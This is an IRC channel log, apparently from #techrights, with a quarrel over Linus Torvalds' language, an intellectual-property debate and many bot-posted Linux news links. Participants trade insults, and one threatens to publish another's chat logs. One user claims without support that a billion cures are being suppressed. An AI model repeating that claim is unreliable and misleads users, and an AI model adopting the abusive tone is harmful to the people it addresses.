| MinceR | i've seen plenty of people attacking free software projects under the banner of political correctness, but i have seen a lot less of their actual contributions. | Oct 08 01:52 |
| msb_ | If by "political correctness" you mean not attacking groups of people by gender, sexual preference, skin color, etc., that should be eliminated. | Oct 08 01:55 |
| MinceR | can you show me one example of linus attacking people by gender, sexual preference or skin color? | Oct 08 01:56 |
| msb_ | No, but it's also bad to attack individuals instead of politely criticising their work. It doesn't help them to contribute, and it causes others to imagine subconsciously that they're being attacked in the same way, so it discourages them. | Oct 08 01:58 |
| MinceR | so you're basically lying by implication about linus | Oct 08 01:59 |
| MinceR | classy | Oct 08 01:59 |
| MinceR | i'm sure this is much better than using rough language | Oct 08 01:59 |
| MinceR | at any rate, i'm sure garrettix and systemd await your "morally superior" contributions | Oct 08 01:59 |
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| msb_ | On what do you base your claim that I'm "basically lying by implication about linus"? | Oct 08 02:00 |
| MinceR | 025539 < msb_> If by "political correctness" you mean not attacking groups of people by gender, sexual preference, skin color, etc., that should be eliminated. | Oct 08 02:01 |
| msb_ | And here you have done an extremely nasty personal attack. Why do you keep doing this? "i'm sure garrettix and systemd await your "morally superior" contributions" | Oct 08 02:02 |
| MinceR | that's "extremely nasty"? interesting | Oct 08 02:02 |
| MinceR | maybe you should read your own personal attacks on me, for contrast | Oct 08 02:03 |
| msb_ | And in the next sentence I said " it's also bad to attack individuals instead of politely criticising their work." | Oct 08 02:03 |
| MinceR | afaict most of the "attacks" from linus concern people's "work" | Oct 08 02:04 |
| msb_ | MinceR: Did you understand this? "it's also bad to attack individuals instead of politely criticising their work. It doesn't help them to contribute, and it causes others to imagine subconsciously that they're being attacked in the same way, so it discourages them. | Oct 08 02:05 |
| msb_ | "e-mails from Torvalds containing language such as "Mauro, SHUT THE FUCK UP!" and "Rafael, please don't *ever* write that crap again." | Oct 08 02:07 |
| MinceR | the first basically applies to Mauro's message | Oct 08 02:07 |
| MinceR | in the second, "that crap" is not a person, it's something they wrote | Oct 08 02:07 |
| msb_ | If you can't see that "Mauro, SHUT THE FUCK UP!" applies to a person, then you are distorting reality in an effort to prove your claim. | Oct 08 02:09 |
| MinceR | you obviously know everything about distorting reality in an effort to prove your claim | Oct 08 02:10 |
| MinceR | it comes from https://lkml.org/lkml/2012/12/23/75 | Oct 08 02:12 |
| -TechrightsBot-tr/#techrights-lkml.org | LKML: Linus Torvalds: Re: [Regression w/ patch] Media commit causes user space to misbahave (was: Re: Linux 3.8-rc1) | Oct 08 02:12 | |
| MinceR | though i doubt context will help you at all | Oct 08 02:12 |
| msb_ | It's at times like this that I think I'm talking to ELIZA or DOCTOR. | Oct 08 02:12 |
| MinceR | it's at times like this that i think i'm talking to a nutcase. | Oct 08 02:13 |
| MinceR | oh wait. | Oct 08 02:13 |
| msb_ | ...or PARRY. | Oct 08 02:13 |
| MinceR | again and again you prove that engaging you in conversation is a pure waste of resources | Oct 08 02:14 |
| msb_ | A canned response. We'll let the readers (if any) decide for themselves. | Oct 08 02:16 |
| msb_ | NoMoRobo is working! | Oct 08 02:17 |
| msb_ | One ringydingy and the ghoul is gone. | Oct 08 02:17 |
| MinceR | m$ is waiting for you to install Definitely Morally Superior vista10 on your pc | Oct 08 02:17 |
| MinceR | not touched by mean ol' Linus! | Oct 08 02:17 |
| MinceR | (after all, politically incorrect conversations that happen on private mailing fora you can't see might as well not have happened, right?) | Oct 08 02:19 |
| XFaCE | MinceR: does that mean Ballmer committed cyberviolence with "I'm going to fucking kill Google"? | Oct 08 02:19 |
| MinceR | i don't know, ask the sjw-s | Oct 08 02:19 |
| cubexyz | ha, Google is growing and Microsoft is diminishing | Oct 08 02:20 |
| cubexyz | Ballmer is a fat sweaty blow-hard anyways | Oct 08 02:21 |
| cubexyz | no wonder Microsoft is tanking | Oct 08 02:22 |
| XFaCE | cubexyz: that's is abusive and non-productive | Oct 08 02:22 |
| XFaCE | submit yourself to the speech police now | Oct 08 02:22 |
| MinceR | lol | Oct 08 02:22 |
| XFaCE | very VERY problematic | Oct 08 02:23 |
| MinceR | in the name of Freedom of Speech, you must run all your communications by the Political Correctness Officer for approval! | Oct 08 02:23 |
| cubexyz | developers! developers! developers! :) | Oct 08 02:24 |
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| cubexyz | http://www.maxhost.org/other/windows-10-install-error.png | Oct 08 03:56 |
| cubexyz | you really can't make this stuff up | Oct 08 03:57 |
| MinceR | :) | Oct 08 03:57 |
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| cubexyz | http://www.maxhost.org/other/windows-10-we-fixed-everything.jpg | Oct 08 04:10 |
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| msb_ | MinceR: I've recorded that hate-session from you, along with a couple of others. Eventually I'll make a section in my website for them. Since you think you've done nothing wrong, that shouldn't bother you. | Oct 08 05:10 |
| msb_ | I have stuff on another psychopath up there that was attacking me in comp.os.linux.advocacy. Once I put the page up, he stopped, and begged me to take it down. But I won't. Cockroaches hate the light. | Oct 08 05:14 |
| msb_ | I have logs from all the time I've been in techrights. There's lots of rich Mincer material in them. Constant attacks on me. They'll be easy to find. | Oct 08 05:15 |
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| cubexyz | lol, the Var Guy doesn't know his history very well | Oct 08 05:45 |
| cubexyz | TCP/IP was added to 4.2BSD in 1982 | Oct 08 05:46 |
| cubexyz | the internet predates the world wide web by a significant number of years | Oct 08 05:46 |
| cubexyz | Had the Linux Foundation said WWW rather than Internet it would have made a bit more sense | Oct 08 05:47 |
| cubexyz | that was when people started using the word 'internet', the earliest email I have about it is July 1982 | Oct 08 05:53 |
| cubexyz | http://www.maxhost.org/other/internet-email-july-1982.txt | Oct 08 05:55 |
| cubexyz | there was networking before TCP/IP of course | Oct 08 06:02 |
| cubexyz | NCP was it's predecessor | Oct 08 06:03 |
| cubexyz | FTP predates TCP/IP and originally ran under NCP | Oct 08 06:03 |
| cubexyz | https://tools.ietf.org/html/rfc801 | Oct 08 06:05 |
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| TweetTuxMachines | https://t.co/zzIUUACc5C (manjaro.github.io) | Oct 08 09:28 |
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| -TechrightsBot-tr/#techrights-manjaro.github.io | Manjaro Cinnamon Edition 15.09-1 released – Manjaro Linux – Enjoy the simplicity | Oct 08 09:28 | |
| TweetTuxMachines | @tuxmachines Proposed Principles for Content Blocking | Oct 08 09:59 |
| TweetTuxMachines | http://t.co/iilOvHwSWc (www.tuxmachines.org) | Oct 08 09:59 |
| TweetTuxMachines | ........................................ http://ur1.ca/nygu1 | Oct 08 09:59 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Proposed Principles for Content Blocking | Tux Machines | Oct 08 09:59 | |
| TweetTuxMachines | @tuxmachines Raspbian Jessie Lives Up to the Hype | Oct 08 09:59 |
| TweetTuxMachines | http://t.co/6g84CFOrhL (fossforce.com) | Oct 08 09:59 |
| TweetTuxMachines | ........................................ http://ur1.ca/nygu4 | Oct 08 09:59 |
| -TechrightsBot-tr/#techrights-fossforce.com | Raspbian Jessie Lives Up to the Hype | FOSS Force | Oct 08 09:59 | |
| TweetTuxMachines | @tuxmachines Linux Security: Lock Down a New System | Oct 08 09:59 |
| TweetTuxMachines | Immediately http://t.co/odcnGqh3MD | Oct 08 09:59 |
| TweetTuxMachines | (thelinuxworks.blogspot.co.uk) | Oct 08 09:59 |
| -TechrightsBot-tr/#techrights-thelinuxworks.blogspot.co.uk | The Linux Works: Linux Security: Lock Down a New System Immediately | Oct 08 09:59 | |
| TweetTuxMachines | ........................................ http://ur1.ca/nygu5 | Oct 08 09:59 |
| schestowitz | http://ubuntuforums.org/showthread.php?t=2297282 | Oct 08 10:00 |
| -TechrightsBot-tr/#techrights-ubuntuforums.org | Rumor that Microsoft is buying Canonical and Ubuntu [ http://ur1.ca/nygud ] | Oct 08 10:00 | |
| schestowitz | https://twitter.com/ale_fattorini/status/652046792901677056 | Oct 08 10:05 |
| -TechrightsBot-tr/#techrights-@ale_fattorini: @schestowitz good to know! I want know more about your tests, please keep me in touch :-) | Oct 08 10:05 | |
| schestowitz | https://twitter.com/smmsadrnezh/status/652046697321865216 | Oct 08 10:06 |
| -TechrightsBot-tr/#techrights-@smmsadrnezh: مایکروسافت تمام تلاشش رو میکنه تا همرو مجبور کنه به ویندوز ۱۰ آپگرید کنن درحالیکه مردم بیشتر کرومبوک میخرن این روزا http://t.co/o3JuaGjCjI | Oct 08 10:06 | |
| -TechrightsBot-tr/#techrights--> techrights.org | Microsoft-Connected Firm Net Applications Used to Mislead About Vista 10 Share and Mock GNU/Linux | Techrights | Oct 08 10:06 | |
| gde33 | Here is a nice idea to move away from the paradigm: In stead of having society pay for all this intelectual propertarding we should make the ip holder pay a montly fee for all this enforcement we are buying + 20% taxes. | Oct 08 10:11 |
| gde33 | Each item of music or video that needs to be filtered out has a quantifiable cost. | Oct 08 10:12 |
| gde33 | Each patent not implemented costs society a good bit of progress. | Oct 08 10:13 |
| msb_ | "Proposed Principles for Content Blocking" -- Nope. The very first thing I want to block is advertising. Which I do with AdBlockPlus. | Oct 08 10:14 |
| gde33 | I'm against all IP, the only one I'm doubting is trademarks | Oct 08 10:15 |
| gde33 | We are suppose to believe people will stop making music or medicine without it. | Oct 08 10:15 |
| gde33 | The opposite is true | Oct 08 10:16 |
| gde33 | We already have a billion songs that no one is suppose to freely access. | Oct 08 10:16 |
| gde33 | And a billion cures | Oct 08 10:16 |
| gde33 | in stead of sharing those things they are being destroyed | Oct 08 10:17 |
| msb_ | There are some things we still need a cure for -- AIDS, aging... | Oct 08 10:17 |
| gde33 | IP is just to cheap, people hold rights until the very things the rights apply to are gone. | Oct 08 10:18 |
| gde33 | why would you think there is no cure for aids or aging? | Oct 08 10:18 |
| gde33 | you seem to mis the core mechanic of ip secrecy | Oct 08 10:18 |
| gde33 | there is no excuse in those 2 examples to keep millions of drugs off the market | Oct 08 10:19 |
| gde33 | I'm not willing to pay for the enforcement of that scheme | Oct 08 10:19 |
| gde33 | It completely mimics the Spanish Inquisition | Oct 08 10:20 |
| gde33 | the similarities are striking | Oct 08 10:20 |
| gde33 | this idea that without ip there wouldnt be healthcare. bwhaha | Oct 08 10:21 |
| gde33 | if we dont hire a million lawyers with public funds we cant afford to do research anymore. bwhaha | Oct 08 10:21 |
| gde33 | a million lawyers costing 100 k each | Oct 08 10:22 |
| msb_ | You are misinterpreting what I said. You said, "[we have] a billion cures", and I just said we still need a few more. I was not commenting on IP. | Oct 08 10:23 |
| gde33 | what do you mean we need a few more? | Oct 08 10:23 |
| schestowitz | https://twitter.com/PositivelyJoan/status/652050501790527488 | Oct 08 10:23 |
| -TechrightsBot-tr/#techrights-@PositivelyJoan: Bill Gates Criticised for Doing With Monsanto What He Did With Microsoft http://t.co/owA81usQ8B Like #Koch, philanthropist my ASSett! #GMOs | Oct 08 10:23 | |
| -TechrightsBot-tr/#techrights--> linkis.com | Bill Gates Criticised for Doing With Monsanto What He Did With Microsoft | Techrights - Linkis.com | Oct 08 10:23 | |
| gde33 | if you think we need that you should spend your money on it :) | Oct 08 10:24 |
| gde33 | might be interesting | Oct 08 10:24 |
| gde33 | do a kickstarter for some disease | Oct 08 10:24 |
| TweetTuxMachines | @tuxmachines Microsoft Ubuntu Rumors and Kernel Resignation | Oct 08 10:42 |
| TweetTuxMachines | Opinions http://t.co/gjPIbpHirA (ostatic.com) | Oct 08 10:42 |
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| -TechrightsBot-tr/#techrights-ostatic.com | Microsoft Ubuntu Rumors and Kernel Resignation Opinions | Oct 08 10:42 | |
| TweetTuxMachines | @tuxmachines Ubuntu Is Planning To Make The ZFS File-System | Oct 08 10:42 |
| TweetTuxMachines | A "Standard" Offering http://t.co/60BCUQbk8Z | Oct 08 10:42 |
| TweetTuxMachines | (www.phoronix.com) | Oct 08 10:42 |
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| -TechrightsBot-tr/#techrights-www.phoronix.com | Ubuntu Is Planning To Make The ZFS File-System A "Standard" Offering - Phoronix | Oct 08 10:42 | |
| TweetTuxMachines | @tuxmachines Android-x86 5.1-RC1 Is Now Out: Mesa OpenGL ES | Oct 08 10:42 |
| TweetTuxMachines | & UEFI Fun http://t.co/cAf4CZhptR | Oct 08 10:42 |
| TweetTuxMachines | (www.phoronix.com) | Oct 08 10:42 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyh4h | Oct 08 10:42 |
| -TechrightsBot-tr/#techrights-www.phoronix.com | Android-x86 5.1-RC1 Is Now Out: Mesa OpenGL ES & UEFI Fun - Phoronix | Oct 08 10:42 | |
| TweetTuxMachines | @tuxmachines Red Hat News http://t.co/4ZkTLJXVyr | Oct 08 10:42 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 08 10:42 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyh4j | Oct 08 10:42 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Red Hat News | Tux Machines | Oct 08 10:42 | |
| TweetTuxMachines | @tuxmachines One Uncle's gift of Linux | Oct 08 10:42 |
| TweetTuxMachines | http://t.co/iPLRa07U8s (www.tuxmachines.org) | Oct 08 10:42 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyh4k | Oct 08 10:42 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | One Uncle's gift of Linux | Tux Machines | Oct 08 10:42 | |
| TweetTuxMachines | @tuxmachines Ubuntu Touch OTA-7 Will Arrive on October 19 | Oct 08 10:42 |
| TweetTuxMachines | for All Ubuntu Phones http://t.co/ZvPPG7UYJM | Oct 08 10:42 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 08 10:42 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyh4m | Oct 08 10:42 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Ubuntu Touch OTA-7 Will Arrive on October 19 for All Ubuntu Phones | Tux Machines | Oct 08 10:42 | |
| TweetTuxMachines | @tuxmachines systemd 227 Is a Major Release That Adds a Lot | Oct 08 10:42 |
| TweetTuxMachines | of Awesome New Features http://t.co/6dkh5Q8CX2 | Oct 08 10:42 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 08 10:42 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyh4p | Oct 08 10:42 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | systemd 227 Is a Major Release That Adds a Lot of Awesome New Features | Tux Machines | Oct 08 10:42 | |
| *XRevan86 (~XRevan86@meowr.ru) has joined #techrights | Oct 08 10:45 | |
| TweetTuxMachines | @tuxmachines Track the night sky with Stellarium on Fedora | Oct 08 10:58 |
| TweetTuxMachines | http://t.co/QmXjvoFigw (www.tuxmachines.org) | Oct 08 10:58 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyh8a | Oct 08 10:58 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Track the night sky with Stellarium on Fedora | Tux Machines | Oct 08 10:58 | |
| TweetTuxMachines | @tuxmachines Magicka 2 Looks Like It Will Land On Linux | Oct 08 10:58 |
| TweetTuxMachines | Soon, Having Final Tweaks | Oct 08 10:58 |
| TweetTuxMachines | https://t.co/0XvyyMDJap (www.gamingonlinux.com) | Oct 08 10:58 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyh8e | Oct 08 10:58 |
| -TechrightsBot-tr/#techrights-www.gamingonlinux.com | Magicka 2 Looks Like It Will Land On Linux Soon, Having Final Tweaks | GamingOnLinux | Oct 08 10:59 | |
| TweetTuxMachines | @tuxmachines “Linux To Be A First Class Citizen Here” | Oct 08 10:59 |
| TweetTuxMachines | http://t.co/InXFeIvgev (www.gamingonlinux.com) | Oct 08 10:59 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyh8j | Oct 08 10:59 |
| -TechrightsBot-tr/#techrights-www.gamingonlinux.com | Testers Needed For 'Quasar' An Online Bullet Hell Space Shooter, Linux To Be A First Class Citizen Here | GamingOnLinux | Oct 08 10:59 | |
| TweetTuxMachines | @tuxmachines “in spite of Linux being a stretch goal that | Oct 08 11:01 |
| TweetTuxMachines | wasn’t reached, the game got a day-one release | Oct 08 11:01 |
| TweetTuxMachines | for Linux yesterday.” https://t.co/uBVGOFlIzz | Oct 08 11:01 |
| TweetTuxMachines | (www.gamingonlinux.com) | Oct 08 11:01 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyh98 | Oct 08 11:01 |
| -TechrightsBot-tr/#techrights-www.gamingonlinux.com | Cyberpunk Adventure 'Read Only Memories' Released DRM Free And On Steam, Has Demo | GamingOnLinux | Oct 08 11:01 | |
| *TweetTuxMachines @ROM2064 retweeted @tuxmachines: '“in spite of Linux being a stretch goal...' | Oct 08 11:01 | |
| *TweetTuxMachines @GXdev retweeted @tuxmachines: '“in spite of Linux being a stretch goal...' | Oct 08 11:01 | |
| *TweetTuxMachines @WeAreMidBoss retweeted @tuxmachines: '“in spite of Linux being a stretch goal...' | Oct 08 11:03 | |
| TweetTuxMachines | @tuxmachines Unprivileged eBPF Support In The Works For The | Oct 08 11:03 |
| TweetTuxMachines | Linux Kernel http://t.co/2ZSJbTaXDt | Oct 08 11:03 |
| TweetTuxMachines | (www.phoronix.com) | Oct 08 11:03 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyh9w | Oct 08 11:03 |
| -TechrightsBot-tr/#techrights-www.phoronix.com | Unprivileged eBPF Support In The Works For The Linux Kernel - Phoronix | Oct 08 11:03 | |
| *TweetTuxMachines @doorfighter favourited '“in spite of Linux being a stretch goal...' | Oct 08 11:08 | |
| *TweetTuxMachines @dialecticube favourited '“in spite of Linux being a stretch goal...' | Oct 08 11:08 | |
| *TweetTuxMachines @RedVonix favourited '“in spite of Linux being a stretch goal...' | Oct 08 11:16 | |
| TweetTuxMachines | @tuxmachines Linksys unveils Linux-powered WRT1900ACS router | Oct 08 11:16 |
| TweetTuxMachines | -- open source, faster CPU, more RAM | Oct 08 11:16 |
| TweetTuxMachines | http://t.co/YCEMb95uhc (betanews.com) | Oct 08 11:16 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhe1 | Oct 08 11:16 |
| -TechrightsBot-tr/#techrights-betanews.com | Linksys unveils Linux-powered WRT1900ACS router -- open source, faster CPU, more RAM | Oct 08 11:16 | |
| TweetTuxMachines | @tuxmachines Puppy Linux-Based Quirky 7.2 Distro for Android | Oct 08 11:20 |
| TweetTuxMachines | Devs Gets Major X11 Update | Oct 08 11:20 |
| TweetTuxMachines | http://t.co/WGyP1d4m7p (news.softpedia.com) | Oct 08 11:20 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhf7 | Oct 08 11:20 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Puppy Linux-Based Quirky 7.2 Distro for Android Devs Gets Major X11 Update - Softpedia | Oct 08 11:20 | |
| TweetTuxMachines | @tuxmachines Linux Kernel 3.12.49 LTS Out Now with PowerPC | Oct 08 11:20 |
| TweetTuxMachines | and ARM64 Improvements, More | Oct 08 11:20 |
| TweetTuxMachines | http://t.co/Cc9596CfjJ (news.softpedia.com) | Oct 08 11:20 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhf8 | Oct 08 11:20 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Linux Kernel 3.12.49 LTS Out Now with PowerPC and ARM64 Improvements, More - Softpedia | Oct 08 11:20 | |
| TweetTuxMachines | @tuxmachines HP and pals release open source switch OS | Oct 08 11:21 |
| TweetTuxMachines | http://t.co/7IqkNsj4hf (www.theregister.co.uk) | Oct 08 11:21 |
| TweetTuxMachines | "NOS is Linux-based." | Oct 08 11:21 |
| -TechrightsBot-tr/#techrights-www.theregister.co.uk | HP and pals release open source switch OS • The Register | Oct 08 11:21 | |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhf9 | Oct 08 11:21 |
| TweetTuxMachines | @tuxmachines Enlightenment 0.19.12 Desktop Environment Drops | Oct 08 11:26 |
| TweetTuxMachines | Support for Wayland http://t.co/GijwOJed3c | Oct 08 11:26 |
| TweetTuxMachines | (news.softpedia.com) | Oct 08 11:26 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhgr | Oct 08 11:26 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Enlightenment 0.19.12 Desktop Environment Drops Support for Wayland - Softpedia | Oct 08 11:26 | |
| TweetTuxMachines | @tuxmachines Calligra Words Port to KDE Frameworks 5 and Qt | Oct 08 11:26 |
| TweetTuxMachines | 5 Now Complete, Here's How It Looks | Oct 08 11:26 |
| TweetTuxMachines | http://t.co/AU4ZDZDF8j (news.softpedia.com) | Oct 08 11:26 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhgs | Oct 08 11:26 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Calligra Words Port to KDE Frameworks 5 and Qt 5 Now Complete, Here's How It Looks - Softpedia | Oct 08 11:26 | |
| TweetTuxMachines | @tuxmachines One Uncle's gift of Linux | Oct 08 11:26 |
| TweetTuxMachines | http://t.co/SOeRts13nv (opensource.com) | Oct 08 11:26 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhgt | Oct 08 11:26 |
| -TechrightsBot-tr/#techrights-opensource.com | Anderson Silva: My Linux Story | Opensource.com | Oct 08 11:26 | |
| *TweetTuxMachines @techmuser favourited 'One Uncle's gift of Linux http://t.co/SOeRts13nv' | Oct 08 11:26 | |
| *TweetTuxMachines @samkamyar favourited 'One Uncle's gift of Linux http://t.co/SOeRts13nv' | Oct 08 11:27 | |
| *TweetTuxMachines @samkamyar followed @tuxmachines | Oct 08 11:27 | |
| TweetTuxMachines | @tuxmachines Ubuntu Touch OTA-7 Will Arrive on October 19 | Oct 08 11:27 |
| TweetTuxMachines | for All Ubuntu Phones http://t.co/SOeRts13nv | Oct 08 11:27 |
| TweetTuxMachines | (opensource.com) | Oct 08 11:27 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhh7 | Oct 08 11:27 |
| TweetTuxMachines | @tuxmachines systemd 227 Is a Major Release That Adds a Lot | Oct 08 11:34 |
| TweetTuxMachines | of Awesome New Features http://t.co/oqnz34sgUR | Oct 08 11:34 |
| TweetTuxMachines | (news.softpedia.com) | Oct 08 11:34 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhj7 | Oct 08 11:34 |
| TweetTuxMachines | @tuxmachines Track the night sky with Stellarium on Fedora | Oct 08 11:34 |
| TweetTuxMachines | http://t.co/qzRaIFzmzZ (fedoramagazine.org) | Oct 08 11:34 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhja | Oct 08 11:34 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | systemd 227 Is a Major Release That Adds a Lot of Awesome New Features - Softpedia | Oct 08 11:34 | |
| -TechrightsBot-tr/#techrights-fedoramagazine.org | Track the night sky with Stellarium on Fedora - Fedora Magazine | Oct 08 11:34 | |
| TweetTuxMachines | @tuxmachines September update for Plasma’s Wayland porting | Oct 08 11:34 |
| TweetTuxMachines | http://t.co/n7D2Ukakmf | Oct 08 11:34 |
| TweetTuxMachines | (blog.martin-graesslin.com) | Oct 08 11:34 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhjb | Oct 08 11:34 |
| -TechrightsBot-tr/#techrights-blog.martin-graesslin.com | September update for Plasma’s Wayland porting | Martin's Blog | Oct 08 11:34 | |
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| TweetTuxMachines | @tuxmachines Team Fortress 2 Gets Big Community Update on | Oct 08 11:51 |
| TweetTuxMachines | Steam for Linux http://t.co/r7LBxXoaGv | Oct 08 11:51 |
| TweetTuxMachines | (news.softpedia.com) | Oct 08 11:51 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Team Fortress 2 Gets Big Community Update on Steam for Linux - Softpedia | Oct 08 11:51 | |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhoc | Oct 08 11:51 |
| TweetTuxMachines | @tuxmachines Manjaro Linux Devs Are in Search for a New Logo | Oct 08 11:51 |
| TweetTuxMachines | for the Project http://t.co/ayToLs1gcB | Oct 08 11:51 |
| TweetTuxMachines | (news.softpedia.com) | Oct 08 11:51 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Manjaro Linux Devs Are in Search for a New Logo for the Project - Softpedia | Oct 08 11:51 | |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhod | Oct 08 11:51 |
| *TweetTuxMachines @tuxmachines deleted 'Ubuntu Touch OTA-7 Will Arrive on October 19...' | Oct 08 11:51 | |
| TweetTuxMachines | @tuxmachines Ubuntu Touch OTA-7 Will Arrive on October 19 | Oct 08 11:51 |
| TweetTuxMachines | for All Ubuntu Phones http://t.co/LpyYKfbcs5 | Oct 08 11:51 |
| TweetTuxMachines | (linux.softpedia.com) | Oct 08 11:51 |
| -TechrightsBot-tr/#techrights-linux.softpedia.com | Ubuntu Touch OTA-7 Will Arrive on October 19 for All Ubuntu Phones - Softpedia | Oct 08 11:51 | |
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| *amonobeax (~amonobe@179.153.34.78) has joined #techrights | Oct 08 11:52 | |
| TweetTuxMachines | @tuxmachines "The Open Network Linux OS... days after HP and | Oct 08 12:00 |
| TweetTuxMachines | partners announced their own open-source | Oct 08 12:00 |
| TweetTuxMachines | network OS, OpenSwitch." http://t.co/vmfTHnK3L7 | Oct 08 12:00 |
| TweetTuxMachines | (www.eweek.com) | Oct 08 12:00 |
| -TechrightsBot-tr/#techrights-www.eweek.com | Big Switch, Facebook to Demonstrate Open Switch Software | Oct 08 12:00 | |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhr1 | Oct 08 12:00 |
| TweetTuxMachines | @tuxmachines Prison Architect 1.0 Is Finally Here, Lets You | Oct 08 12:00 |
| TweetTuxMachines | Build and Manage the Most Secure Prison | Oct 08 12:00 |
| TweetTuxMachines | http://t.co/9jBuazEa9z (news.softpedia.com) | Oct 08 12:00 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhr2 | Oct 08 12:00 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Prison Architect 1.0 Is Finally Here, Lets You Build and Manage the Most Secure Prison - Softpedia | Oct 08 12:00 | |
| TweetTuxMachines | @tuxmachines GNOME 3.20 to Be Dubbed Delhi | Oct 08 12:00 |
| TweetTuxMachines | http://t.co/qDY8jW8TpI (linux.softpedia.com) | Oct 08 12:00 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhr3 | Oct 08 12:00 |
| -TechrightsBot-tr/#techrights-linux.softpedia.com | GNOME 3.20 to Be Dubbed Delhi - Softpedia | Oct 08 12:00 | |
| TweetTuxMachines | @tuxmachines Unprivileged eBPF Support In The Works For The | Oct 08 12:01 |
| TweetTuxMachines | Linux Kernel http://t.co/gLEQsae3XM | Oct 08 12:01 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 08 12:01 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Unprivileged eBPF Support In The Works For The Linux Kernel | Tux Machines | Oct 08 12:01 | |
| TweetTuxMachines | @tuxmachines September update for Plasma’s Wayland porting | Oct 08 12:01 |
| TweetTuxMachines | http://t.co/0b7KGwempw (www.tuxmachines.org) | Oct 08 12:01 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhrj | Oct 08 12:01 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | September update for Plasma’s Wayland porting | Tux Machines | Oct 08 12:01 | |
| TweetTuxMachines | @tuxmachines GNOME 3.20 to Be Dubbed Delhi | Oct 08 12:01 |
| TweetTuxMachines | http://t.co/B93YUsFUwG (www.tuxmachines.org) | Oct 08 12:01 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhrm | Oct 08 12:01 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | GNOME 3.20 to Be Dubbed Delhi | Tux Machines | Oct 08 12:01 | |
| schestowitz | https://twitter.com/Zeipt/status/652069832842702849 | Oct 08 12:15 |
| -TechrightsBot-tr/#techrights-@Zeipt: @schestowitz no, thanx)) better - preseed/late_command="in-target apt-get install -y sysvinit-core" | Oct 08 12:15 | |
| *amonobeax (~amonobe@179.153.34.78) has left #techrights ("Leaving") | Oct 08 12:43 | |
| TweetTuxMachines | @tuxmachines Open Source for Log Analytics – Let’s get | Oct 08 12:44 |
| TweetTuxMachines | serious https://t.co/cyvNcgQ1iC | Oct 08 12:44 |
| TweetTuxMachines | (www.linkedin.com) | Oct 08 12:44 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyi5t | Oct 08 12:44 |
| -TechrightsBot-tr/#techrights-www.linkedin.com | Open Source for Log Analytics – Let’s get serious | Erez Ofer | LinkedIn | Oct 08 12:44 | |
| TweetTuxMachines | @tuxmachines Open source curriculum for EMEA universities | Oct 08 12:44 |
| TweetTuxMachines | http://t.co/DSHl1iMVdY (www.cbronline.com) | Oct 08 12:44 |
| TweetTuxMachines | “student materials for Red Hat Academy are | Oct 08 12:44 |
| TweetTuxMachines | available online.” | Oct 08 12:44 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyi5u | Oct 08 12:44 |
| -TechrightsBot-tr/#techrights-www.cbronline.com | Open source curriculum for EMEA universities - Computer Business Review | Oct 08 12:44 | |
| TweetTuxMachines | @tuxmachines Linus Torvalds Says 2016 Will Be the Year of | Oct 08 12:44 |
| TweetTuxMachines | the ARM Laptop http://t.co/cedhBSC3FX | Oct 08 12:44 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Linus Torvalds Says 2016 Will Be the Year of the ARM Laptop - Softpedia | Oct 08 12:44 | |
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| *TweetTuxMachines @RamiSilawi retweeted @tuxmachines: 'Linus Torvalds Says 2016 Will Be the Year...' | Oct 08 12:46 | |
| TweetTuxMachines | @tuxmachines Massive Steam Client Update Brings Chromium 45, | Oct 08 12:46 |
| TweetTuxMachines | Big Picture Improvements, FLAC Support | Oct 08 12:46 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Massive Steam Client Update Brings Chromium 45, Big Picture Improvements, FLAC Support - Softpedia | Oct 08 12:46 | |
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| -TechrightsBot-tr/#techrights-linux.softpedia.com | Steam for Linux Beta Client Gets More Fixes in New Update - Softpedia | Oct 08 12:46 | |
